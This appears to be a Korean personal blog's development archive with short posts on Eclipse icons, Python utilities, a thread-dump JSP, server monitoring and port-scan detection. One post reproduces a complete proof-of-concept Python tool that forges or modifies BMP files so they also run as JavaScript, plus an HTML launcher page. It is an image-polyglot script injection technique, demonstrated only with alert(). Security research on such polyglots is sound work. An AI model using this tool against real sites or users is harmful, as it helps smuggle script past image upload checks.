Category Archives: Development

Eclipse JDT Icons (Outline View)

by apollo89 Posted on 2013년 11월 11일

Outline View 을 볼때 아이콘이 자꾸 헷걸려서… 참고 : http://help.eclipse.org/helios/index.jsp?topic=/org.eclipse.jdt.doc.user/reference/ref-icons.htm JDT Icons Object adornments compilation unit (*.java file) Java file which is not on a build path class file generic file (unknown content type) unknown object Java scrapbook page … Continue reading →

Posted in Development, Java/JSP | Tagged jdt. icons, outline view, 이클립스 | Leave a comment

[Python] revers binary

by apollo89 Posted on 2013년 11월 10일

Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다. 연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다. binary를 뒤집는 python code

import sys, binascii

f=open(sys.argv[1], 'rb')
data=f.read()
f.close()

tmp = binascii.hexlify(data)
print type(tmp)
output = open(sys.argv[1] + '-output','wb')
output.write(binascii.unhexlify(tmp[::-1]))
#output.write(''.join(reversed(tmp)))
output.close()

import sys, binascii

f=open(sys.argv[1], 'rb')

data=f.read()

f.close()

tmp = binascii.hexlify(data)

print type(tmp)

output = open(sys.argv[1] + '-output','wb')

output.write(binascii.unhexlify(tmp[::-1]))

#output.write(''.join(reversed(tmp)))

output.close()

Posted in Python/Ruby/Perl | Tagged binary, revers, 파이썬 | Leave a comment

[Python] BMP 이미지안에 스크립크 삽입(bmp script injection)

by apollo89 Posted on 2013년 11월 9일

Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다. 연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다. bmp 이미지안에 스크립크 삽입

#!/usr/bin/env python2
#==============================================================================#
#======= Simply injects a JavaScript Payload into a BMP. ===========================#
#======= The resulting BMP must be a valid (not corrupted) BMP. ====================#
#======= Author: marcoramilli.blogspot.com =======================================#
#======= Version: PoC (don't even think to use it in development env.) ================#
#======= Disclaimer: ============================================================#
#THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR
#IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
#DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
#INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
#SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
#HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
#STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
#IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
#POSSIBILITY OF SUCH DAMAGE.
#==============================================================================#
import argparse
import os
 
#---------------------------------------------------------
def _hexify(num):
    """
    Converts and formats to hexadecimal
    """
    num = "%x" % num
    if len(num) % 2:
        num = '0'+num
    return num.decode('hex')
 
#---------------------------------------------------------
#Example payload: "var _0xe428=[\""+ b'\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64' + "\"]
#;alert(_0xe428[0]);"
def _generate_and_write_to_file(payload, fname):
    """
    Generates a fake but valid BMP within scriting
    """
    f = open(fname, "wb")
    header = (b'\x42\x4D'  #Signature BM
              b'\x2F\x2A\x00\x00' #Header File size, but encoded as /* <-- Yes it's a valid header
              b'\x00\x00\x00\x00' #Reserved
              b'\x00\x00\x00\x00' #bitmap data offset
              b''+ _hexify( len(payload) ) + #bitmap header size
              b'\x00\x00\x00\x14' #width 20pixel .. it's up to you
              b'\x00\x00\x00\x14' #height 20pixel .. it's up to you
              b'\x00\x00' #nb_plan 
              b'\x00\x00' #nb per pixel
              b'\x00\x10\x00\x00' #compression type
              b'\x00\x00\x00\x00' #image size .. its ignored
              b'\x00\x00\x00\x01' #Horizontal resolution
              b'\x00\x00\x00\x01' #Vertial resolution
              b'\x00\x00\x00\x00' #number of colors
              b'\x00\x00\x00\x00' #number important colors
              b'\x00\x00\x00\x80' #palet colors to be complient
              b'\x00\x80\xff\x80' #palet colors to be complient
              b'\x80\x00\xff\x2A' #palet colors to be complient
              b'\x2F\x3D\x31\x3B' #*/=1;
             )
    # I made this explicit, step by step .
    f.write(header)
    f.write(payload)
    f.close()
    return True
 
#---------------------------------------------------------
def _generate_launching_page(f):
    """
    Creates the HTML launching page
    """
 
    htmlpage ="""
                 <html>
                 <head><title>Opening an image</title> </head>
                 <body>
                      <img src=\"""" + f + """\"\>
                      <script src= \"""" + f + """\"> </script>
                 </body>
                 </html>
              """
    html = open("run.html", "wb")
    html.write(htmlpage);
    html.close()
    return True
 
#---------------------------------------------------------
def _inject_into_file(payload, fname):
    """
    Injects the payload into existing BMP
    NOTE: if the BMP contains \xFF\x2A might caouse issues
    """
    # I know, I can do it all in memory and much more fast.
    # I wont do it here.
    f = open(fname, "r+b")
    b = f.read()
    b.replace(b'\x2A\x2F',b'\x00\x00')
    f.close()
 
    f = open(fname, "w+b")
    f.write(b)
    f.seek(2,0)
    f.write(b'\x2F\x2A')
    f.close()
 
    f = open(fname, "a+b")
    f.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
    f.write(payload)
    f.close()
    return True
 
 
#---------------------------------------------------------
if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("filename",help="the bmp file name to be generated/or infected")
    parser.add_argument("js_payload",help="the payload to be injected. For exmample: \"alert(\"test\");\"")
    parser.add_argument("-i", "--inject-to-existing-bmp", action="store_true", help="inject into the current bitmap")
    args = parser.parse_args()
    print("""
                |======================================================================================================|
                | [!] legal disclaimer: usage of this tool for injecting malware to be propagated is illegal.      |
                | It is the end user's responsibility to obey all applicable local, state and federal laws.        |
                | Authors assume no liability and are not responsible for any misuse or damage caused by this program  |
                |======================================================================================================|
            """)
    if args.inject_to_existing_bmp:
         _inject_into_file(args.js_payload, args.filename)
    else:
        _generate_and_write_to_file(args.js_payload, args.filename)
       
    _generate_launching_page(args.filename)
    print "[+] Finished!"

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

#!/usr/bin/env python2

#==============================================================================#

#======= Simply injects a JavaScript Payload into a BMP. ===========================#

#======= The resulting BMP must be a valid (not corrupted) BMP. ====================#

#======= Author: marcoramilli.blogspot.com =======================================#

#======= Version: PoC (don't even think to use it in development env.) ================#

#======= Disclaimer: ============================================================#

#THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR

#IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED

#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE

#DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,

#INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES

#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR

#SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)

#HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,

#STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING

#IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE

#POSSIBILITY OF SUCH DAMAGE.

#==============================================================================#

import argparse

import os

#---------------------------------------------------------

def _hexify(num):

"""

Converts and formats to hexadecimal

"""

num = "%x" % num

if len(num) % 2:

num = '0'+num

return num.decode('hex')

#---------------------------------------------------------

#Example payload: "var _0xe428=[\""+ b'\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64' + "\"]

#;alert(_0xe428[0]);"

def _generate_and_write_to_file(payload, fname):

"""

Generates a fake but valid BMP within scriting

"""

f = open(fname, "wb")

header = (b'\x42\x4D' #Signature BM

b'\x2F\x2A\x00\x00' #Header File size, but encoded as /* <-- Yes it's a valid header

b'\x00\x00\x00\x00' #Reserved

b'\x00\x00\x00\x00' #bitmap data offset

b''+ _hexify( len(payload) ) + #bitmap header size

b'\x00\x00\x00\x14' #width 20pixel .. it's up to you

b'\x00\x00\x00\x14' #height 20pixel .. it's up to you

b'\x00\x00' #nb_plan

b'\x00\x00' #nb per pixel

b'\x00\x10\x00\x00' #compression type

b'\x00\x00\x00\x00' #image size .. its ignored

b'\x00\x00\x00\x01' #Horizontal resolution

b'\x00\x00\x00\x01' #Vertial resolution

b'\x00\x00\x00\x00' #number of colors

b'\x00\x00\x00\x00' #number important colors

b'\x00\x00\x00\x80' #palet colors to be complient

b'\x00\x80\xff\x80' #palet colors to be complient

b'\x80\x00\xff\x2A' #palet colors to be complient

b'\x2F\x3D\x31\x3B' #*/=1;

)

# I made this explicit, step by step .

f.write(header)

f.write(payload)

f.close()

return True

#---------------------------------------------------------

def _generate_launching_page(f):

"""

Creates the HTML launching page

"""

htmlpage ="""

<html>

<head><title>Opening an image</title> </head>

<body>

</body>

</html>

"""

html = open("run.html", "wb")

html.write(htmlpage);

html.close()

return True

#---------------------------------------------------------

def _inject_into_file(payload, fname):

"""

Injects the payload into existing BMP

NOTE: if the BMP contains \xFF\x2A might caouse issues

"""

# I know, I can do it all in memory and much more fast.

# I wont do it here.

f = open(fname, "r+b")

b = f.read()

b.replace(b'\x2A\x2F',b'\x00\x00')

f.close()

f = open(fname, "w+b")

f.write(b)

f.seek(2,0)

f.write(b'\x2F\x2A')

f.close()

f = open(fname, "a+b")

f.write(b'\xFF\x2A\x2F\x3D\x31\x3B')

f.write(payload)

f.close()

return True

#---------------------------------------------------------

if __name__ == "__main__":

parser = argparse.ArgumentParser()

parser.add_argument("filename",help="the bmp file name to be generated/or infected")

parser.add_argument("js_payload",help="the payload to be injected. For exmample: \"alert(\"test\");\"")

parser.add_argument("-i", "--inject-to-existing-bmp", action="store_true", help="inject into the current bitmap")

args = parser.parse_args()

print("""

|======================================================================================================|

| [!] legal disclaimer: usage of this tool for injecting malware to be propagated is illegal. |

| It is the end user's responsibility to obey all applicable local, state and federal laws. |

| Authors assume no liability and are not responsible for any misuse or damage caused by this program |

|======================================================================================================|

""")

if args.inject_to_existing_bmp:

_inject_into_file(args.js_payload, args.filename)

else:

_generate_and_write_to_file(args.js_payload, args.filename)

_generate_launching_page(args.filename)

print "[+] Finished!"

사용법

bmp_script_injection.py -i test.bmp "alert('bmp script injection test');"

1	bmp_script_injection.py -i test.bmp "alert('bmp script injection test');"

먼저 생성된 run.html 소스를 보면, script에 bmp … Continue reading →

Posted in Python/Ruby/Perl | Tagged bmp, image, script injection | Leave a comment

python dns query

by apollo89 Posted on 2013년 11월 2일

Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다. 연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다. 해당 도메인의 DNS 정보를 가져오는 스크립트를 작성해보았다.. 이 스크립트를 사용하기 위해서는 dnspython(http://www.dnspython.org/) 모듈을 설치해야 … Continue reading →

Posted in Python/Ruby/Perl | Tagged dns, query, 파이썬 | Leave a comment

쓰레드 덤프보는 JSP (threaddump.jsp)

by apollo89 Posted on 2013년 11월 1일

Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다. 연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다. 쓰레드 덤프보는 JSP (threaddump.jsp) 완전 멋지다!ㅋ

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<%-- 
This source is under a creative common license. (Attribution Non-Commercial)
You can use it for non-commercial purposes only.

Author: Dongyoul Kim
Blog: http://greatkim91.tistory.com
Twitter: greatkim91
--%>
<%@ page contentType="text/html; charset=UTF-8" %>
<%@ page import="java.util.List"%>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.Collections"%>
<%@ page import="java.util.Comparator"%>
<%@ page import="java.lang.management.ManagementFactory"%>
<%@ page import="java.lang.management.MemoryMXBean"%>
<%@ page import="java.lang.management.MemoryUsage"%>
<%@ page import="java.text.DecimalFormat"%>
<%@ page import="java.text.NumberFormat"%>
<%@ page import="java.lang.management.ThreadInfo"%>
<%@ page import="java.lang.management.ThreadMXBean"%>

<%!
	private static String kbytes(long l) {
		NumberFormat nf = new DecimalFormat("#,###");
		return nf.format(l/1000);
	}
	
	private static String percent(double l) {
		NumberFormat nf = new DecimalFormat("#.#");
		return nf.format(l);
	}
	
	private static List<ThreadInfo> loadThreadInfo() {
		ThreadMXBean threadMXBean = ManagementFactory.getThreadMXBean();
		ThreadInfo[] threadInfoArray = threadMXBean.getThreadInfo(threadMXBean.getAllThreadIds(), Integer.MAX_VALUE);
		
		List<ThreadInfo> threadInfos = new ArrayList<ThreadInfo>(threadInfoArray.length);
		for (ThreadInfo threadInfo : threadInfoArray) {
			threadInfos.add(threadInfo);
		}
		
		Collections.sort(
				threadInfos,
				new Comparator() {
					public int compare(Object o1, Object o2) {
						if (o1 == null || o2 == null) return 0;
						ThreadInfo t1 = (ThreadInfo) o1;
						ThreadInfo t2 = (ThreadInfo) o2;
						return t1.getThreadName().compareTo(t2.getThreadName());
					}
					
				}
				
		);
		return threadInfos;
	}
%>
<html>
<head>
<title>Thread dump</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="cache-control" content="no-cache" />
<meta http-equiv="Pragma" content="no-cache" />
<style type="text/css">
<!--
body {
	font: 12px sans-serif;
}

table {
	border: 0px solid #DEDEDE;
}

td, th {
	border: 1px solid #DEDEDE;
	padding: 1px 10px;
}

.right {
	text-align: right;
}
-->
</style>
</head>
<body>
<%
	String uri = request.getRequestURI();
	String namePrefix = request.getParameter("name");
	String stateParam = request.getParameter("state");
	long threadId;
	try {
		threadId = Long.parseLong(request.getParameter("tid"));
	} catch(Exception e) {
		threadId = -1;
	}

	// Memory Info
	MemoryMXBean memoryMXBean = ManagementFactory.getMemoryMXBean();
	MemoryUsage heapMemoryUsage = memoryMXBean.getHeapMemoryUsage();
	MemoryUsage nonHeapMemoryUsage = memoryMXBean.getNonHeapMemoryUsage();
	
	double heapUsedPercent = ((double)heapMemoryUsage.getUsed()/(double)heapMemoryUsage.getMax()) * 100.0D;
	double nonHeapUsedPercent = ((double)nonHeapMemoryUsage.getUsed()/(double)nonHeapMemoryUsage.getMax()) * 100.0D;
%>

<table>
<tr>
<th>Area</th>
<th>Init (KB)</th>
<th>Max (KB)</th>
<th>Used (KB)</th>
<th>Used(%)</th>
</tr>
<tr>
<td>Heap</td>
<td class="right"><%=kbytes(heapMemoryUsage.getInit())%></td>
<td class="right"><%=kbytes(heapMemoryUsage.getMax())%></td>
<td class="right"><%=kbytes(heapMemoryUsage.getUsed())%></td>
<td class="right"><%=percent(heapUsedPercent)%></td>
</tr>
<tr>
<td>Non Heap</td>
<td class="right"><%=kbytes(nonHeapMemoryUsage.getInit())%></td>
<td class="right"><%=kbytes(nonHeapMemoryUsage.getMax())%></td>
<td class="right"><%=kbytes(nonHeapMemoryUsage.getUsed())%></td>
<td class="right"><%=percent(nonHeapUsedPercent)%></td>
</tr>
</table>

<hr/>
<form method="get">
	Show only what thread name starts with <input type="text" name="name" value="<%=(namePrefix != null ? namePrefix : "")%>"/> and thread state is 
	<select name="state">
		<option value="all">All</option>
		<%
			for(Thread.State threadState: Thread.State.values()) {
				boolean selected = threadState.toString().equals(stateParam); 
		%>
		<option value="<%=threadState%>"<%=selected ? " selected=\"true\"" : ""%>><%=threadState%></option>
		<% } %>
	</select>
	<input type="submit" value="go!"/>
</form>
<% if(threadId != -1 || (namePrefix != null && namePrefix.trim().length() > 0)) { %>
<a href="<%=uri%>">Show all threads</a>
<% } %>

<%
	// Thread info
	for(ThreadInfo threadInfo : loadThreadInfo()) {
		StackTraceElement[] stackTraces = threadInfo.getStackTrace();
		
		// filter the current thread
		if (threadInfo.getThreadId() == Thread.currentThread().getId()) continue;
		
		// filter name
		if (namePrefix != null && namePrefix.trim().length() > 0) {
			if (!threadInfo.getThreadName().startsWith(namePrefix)) continue;
		}
		
		// filter state
		if (stateParam != null && !stateParam.equals("all")) {
			if (!threadInfo.getThreadState().toString().equals(stateParam)) continue;
		}
		
		// show only specific thread id
		if (threadId != -1) {
			if (threadInfo.getThreadId() != threadId) continue;
		}
%>
<dl>
<dt>
<b><%=threadInfo.getThreadName()%> (<%=threadInfo.getThreadState()%>)</b> - 
<a href="<%=uri%>?tid=<%=threadInfo.getThreadId()%>"><%=threadInfo.getThreadId()%></a>
</dt>
<dd>
<pre>
<%
		for(int i = 0; i < stackTraces.length; i++) {
			out.println(stackTraces[i]);
		}
%>
</pre>
</dd>
</dl>
<%
	}
%>

</body>
</html>

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<%--

This source is under a creative common license. (Attribution Non-Commercial)

You can use it for non-commercial purposes only.

Author: Dongyoul Kim

Blog: http://greatkim91.tistory.com

Twitter: greatkim91

--%>

<%@ page contentType="text/html; charset=UTF-8" %>

<%@ page import="java.util.List"%>

<%@ page import="java.util.ArrayList"%>

<%@ page import="java.util.Collections"%>

<%@ page import="java.util.Comparator"%>

<%@ page import="java.lang.management.ManagementFactory"%>

<%@ page import="java.lang.management.MemoryMXBean"%>

<%@ page import="java.lang.management.MemoryUsage"%>

<%@ page import="java.text.DecimalFormat"%>

<%@ page import="java.text.NumberFormat"%>

<%@ page import="java.lang.management.ThreadInfo"%>

<%@ page import="java.lang.management.ThreadMXBean"%>

<%!

private static String kbytes(long l) {

NumberFormat nf = new DecimalFormat("#,###");

return nf.format(l/1000);

}

private static String percent(double l) {

NumberFormat nf = new DecimalFormat("#.#");

return nf.format(l);

}

private static List<ThreadInfo> loadThreadInfo() {

ThreadMXBean threadMXBean = ManagementFactory.getThreadMXBean();

ThreadInfo[] threadInfoArray = threadMXBean.getThreadInfo(threadMXBean.getAllThreadIds(), Integer.MAX_VALUE);

List<ThreadInfo> threadInfos = new ArrayList<ThreadInfo>(threadInfoArray.length);

for (ThreadInfo threadInfo : threadInfoArray) {

threadInfos.add(threadInfo);

}

Collections.sort(

threadInfos,

new Comparator() {

public int compare(Object o1, Object o2) {

if (o1 == null || o2 == null) return 0;

ThreadInfo t1 = (ThreadInfo) o1;

ThreadInfo t2 = (ThreadInfo) o2;

return t1.getThreadName().compareTo(t2.getThreadName());

}

);

return threadInfos;

}

<html>

<head>

<title>Thread dump</title>

<!--

body {

font: 12px sans-serif;

}

table {

border: 0px solid #DEDEDE;

}

td, th {

border: 1px solid #DEDEDE;

padding: 1px 10px;

}

.right {

text-align: right;

}

-->

</style>

</head>

<body>

String uri = request.getRequestURI();

String namePrefix = request.getParameter("name");

String stateParam = request.getParameter("state");

long threadId;

try {

threadId = Long.parseLong(request.getParameter("tid"));

} catch(Exception e) {

threadId = -1;

}

// Memory Info

MemoryMXBean memoryMXBean = ManagementFactory.getMemoryMXBean();

MemoryUsage heapMemoryUsage = memoryMXBean.getHeapMemoryUsage();

MemoryUsage nonHeapMemoryUsage = memoryMXBean.getNonHeapMemoryUsage();

double heapUsedPercent = ((double)heapMemoryUsage.getUsed()/(double)heapMemoryUsage.getMax()) * 100.0D;

double nonHeapUsedPercent = ((double)nonHeapMemoryUsage.getUsed()/(double)nonHeapMemoryUsage.getMax()) * 100.0D;

<table>

<tr>

</tr>

<tr>

</tr>

<tr>

</tr>

</table>

<hr/>

Show only what thread name starts with <input type="text" name="name" value="<%=(namePrefix != null ? namePrefix : "")%>"/> and thread state is

for(Thread.State threadState: Thread.State.values()) {

boolean selected = threadState.toString().equals(stateParam);

<% } %>

</select>

</form>

<% if(threadId != -1 || (namePrefix != null && namePrefix.trim().length() > 0)) { %>

<a href="<%=uri%>">Show all threads</a>

<% } %>

// Thread info

for(ThreadInfo threadInfo : loadThreadInfo()) {

StackTraceElement[] stackTraces = threadInfo.getStackTrace();

// filter the current thread

if (threadInfo.getThreadId() == Thread.currentThread().getId()) continue;

// filter name

if (namePrefix != null && namePrefix.trim().length() > 0) {

if (!threadInfo.getThreadName().startsWith(namePrefix)) continue;

}

// filter state

if (stateParam != null && !stateParam.equals("all")) {

if (!threadInfo.getThreadState().toString().equals(stateParam)) continue;

}

// show only specific thread id

if (threadId != -1) {

if (threadInfo.getThreadId() != threadId) continue;

}

<dl>

<dt>

<b><%=threadInfo.getThreadName()%> (<%=threadInfo.getThreadState()%>)</b> -

</dt>

<dd>

<pre>

for(int i = 0; i < stackTraces.length; i++) {

out.println(stackTraces[i]);

}

</pre>

</dd>

</dl>

}

</body>

</html>

간단한 메모리 정보와 현재 쓰레드들의 스택들을 보여줍니다. … Continue reading →

Posted in Java/JSP, Util/Tools | Tagged jsp, threaddump | Leave a comment

포트스캔 탐지 도구 설치(scanlogd) 및 테스트..

by apollo89 Posted on 2013년 10월 8일

요즘 포트 스캔 탐지 도구를 좀 알아보니, 크게 3가지가 있었다.. portsentry, scanlogd, psad 셋다 포트스캔을 탐지하는 도구인데, 각각의 특징이 있다.. portsentry와 psad는 iptables와 연동되어 포트스캔이 탐지되면 자동으로 룰을 등록해서 차단한다. 하지만 scanlogd는 syslogd와 연동되어 scan에 대한 로그를 남긴다. 내가 … Continue reading →

Posted in System, Util/Tools | Tagged portscan, scanlogd | Leave a comment

munin 설치 및 설정하기

by apollo89 Posted on 2013년 10월 5일

서버를 모니터링 해야 할 일이 생겨 좋은 도구를 찾다가 발견했다. MUNIN ( http://munin-monitoring.org/ ) 설치를 해보자..

]# yum -y install munin munin-node
Loaded plugins: fastestmirror, security
Loading mirror speeds from cached hostfile
 * base: centos.tt.co.kr
 * extras: centos.tt.co.kr
 * updates: centos.tt.co.kr
Setting up Install Process
No package munin available.
No package munin-node available.
Nothing to do
]#

]# yum -y install munin munin-node

Loaded plugins: fastestmirror, security

Loading mirror speeds from cached hostfile

* base: centos.tt.co.kr

* extras: centos.tt.co.kr

* updates: centos.tt.co.kr

Setting up Install Process

No package munin available.

No package munin-node available.

Nothing to do

yum으로 설치할랬더니.. 위와 같이 못찾는 단다..ㅡㅡ;; 검색을 좀 해보니.. EPEL repository를 설치해야 한단다.. EPEL 이란 Extra Packages of Enterprise Linux 를 뜻하며 … Continue reading →

Posted in System, Util/Tools | Tagged monitoring, munin, 설치 | Leave a comment

Flask 설치하기

by apollo89 Posted on 2013년 9월 12일

참고 : http://flask.pocoo.org/docs/installation/ 1. Flask 개발을 위한 환경 설정 Flask는 Werkzeug 와 Jinja2 라이브러리에 의존적 Werkzeug는 웹어플리케이션과 다양한 서버 사이의 개발과 배포를 위한 표준 파이썬 인터페이스인 WSGI를 구현한 툴킷 Jinja2 는 HTML 템플릿을 렌더링 하는 템플릿 엔진 1.1. python … Continue reading →

Posted in Development, Python/Ruby/Perl | Tagged Flask, 파이썬 | 1 Comment

디지털포렌식기술 워크샵 후기(WDFS 2013)

by apollo89 Posted on 2013년 8월 28일

http://forensic.korea.ac.kr/wdfs/wdfs2013.html 디지털 포렌식기술 워크샵 후기 개인적으로는 스마트기기 포렌식과 빅데이터 포렌식에 관심이 있어 참석했습니다. 시간이 지나면 금방 까먹기에 까먹기전에 쳅터별로 들으면서 느낀점을 간단히 정리해보았습니다. Session 1 – 스마트기기 포렌식(1) – 스마트폰 메신저 데이터 수집 및 분석 각 스마트폰의 메신져별로 얻을 … Continue reading →

Posted in Etc, Security/Hacking | Tagged wdfs2013, 세미나, 포렌식 | Leave a comment

해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – 제로 데이 개념의 공격 코드 개발하기

by apollo89 Posted on 2013년 8월 8일

Posted in Python/Ruby/Perl, Reading | Tagged 스터디, 치명적파이썬 | 5 Comments

Apollo89.com

아폴로씨의 잡다한 경험들..

Category Archives: Development

Eclipse JDT Icons (Outline View)

[Python] revers binary

[Python] BMP 이미지안에 스크립크 삽입(bmp script injection)

python dns query

쓰레드 덤프보는 JSP (threaddump.jsp)

포트스캔 탐지 도구 설치(scanlogd) 및 테스트..

munin 설치 및 설정하기

Flask 설치하기

디지털포렌식기술 워크샵 후기(WDFS 2013)

해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – 제로 데이 개념의 공격 코드 개발하기

카테고리

최신 댓글

메타